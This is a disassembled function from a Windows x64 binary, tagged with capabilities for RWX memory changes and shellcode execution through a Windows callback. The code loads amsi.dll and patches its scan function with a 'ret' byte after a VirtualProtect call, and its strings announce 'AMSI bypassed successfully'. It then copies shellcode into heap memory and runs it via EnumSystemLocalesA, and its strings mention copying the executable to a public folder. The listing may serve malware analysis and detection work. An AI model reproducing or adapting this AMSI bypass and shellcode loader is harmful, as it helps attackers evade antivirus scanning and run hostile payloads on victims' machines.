Function at 0x1400018c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x78
mov rsi, rdx
mov rdi, rcx
lea rax, [0x14013c33a]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov dword [rsp + 0x28], 0xd3f4e765
mov edx, dword [rsp + 0x28]
call fcn.1400557b0
mov ecx, dword [rax]
movzx eax, word [rax + 4]
lea rax, [0x140144176]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov dword [rsp + 0x28], 0xbeb85627
mov edx, dword [rsp + 0x28]
call fcn.140055750
mov ecx, dword [rax]
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
lea rax, [0x140149548]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x28]
call fcn.1401197f0
lea rax, [0x14013adfc]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov dword [rsp + 0x28], 0x28495d13
mov edx, dword [rsp + 0x28]
call fcn.140055770
mov rax, qword [rax]
lea rax, [0x14013a026]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x58], 0x9687f5f2
mov edx, dword [rsp + 0x58]
call fcn.140055720
mov rcx, qword [rax]
mov ecx, dword [rax + 8]
movzx eax, word [rax + 0xc]
lea rbx, [rsp + 0x58]
mov rcx, rbx
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
jne 0x1400019dd
lea rcx, [rsp + 0x58]
call sub.kernel32.dll_LoadLibraryA
test rax, rax
je 0x140001a87
lea rcx, [rsp + 0x58]
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x140001a6b
lea rdx, [rsp + 0x28]
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140001a79
mov r14, rax
mov dword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
mov edx, 1
mov rcx, rax
mov r8d, 0x40
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140001a95
mov byte [r14], 0xc3
mov r8d, dword [rsp + 0x28]
lea r9, [rsp + 0x28]
mov edx, 1
mov rcx, r14
call sub.kernel32.dll_VirtualProtect
lea rax, str.AMSI_bypassed_successfully._n
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
jmp 0x140001aed
lea rax, [0x1401495ef]
mov ecx, 0x21
jmp 0x140001aa1
lea rax, [0x140149610]
mov ecx, 0x28
jmp 0x140001aa1
lea rax, str.Failed_to_load_amsi.dllFailed_to_get_handle_for_amsi.dllFailed_to_get_address_for_AmsiScanBufferFailed_to_change_memory_protectionC:UsersPublicDocumentsFailed_to_extract_file_nameCopied_executable_to:
mov ecx, 0x17
jmp 0x140001aa1
lea rax, [0x140149638]
mov ecx, 0x22
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rcx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [0x14002ad20]
mov qword [rsp + 0x60], rax
lea rax, str.Error:
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], 1
lea rcx, [rsp + 0x28]
call fcn.1401197f0
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_HeapCreate
mov rbx, rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140001b4d
mov r14, rax
call sub.kernel32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
mov r8, rdi
mov r9, rsi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x140001b7f
mov rcx, r14
xor edx, edx
call sub.kernel32.dll_EnumSystemLocalesA
jmp 0x140001baf
lea rax, [0x14017faf8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x28]
call fcn.1401197f0
jmp 0x140001bbc
lea rax, str.wait_amsi_bypass_n
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x28]
call fcn.1401197f0
mov rcx, rbx
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
nop
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r14
ret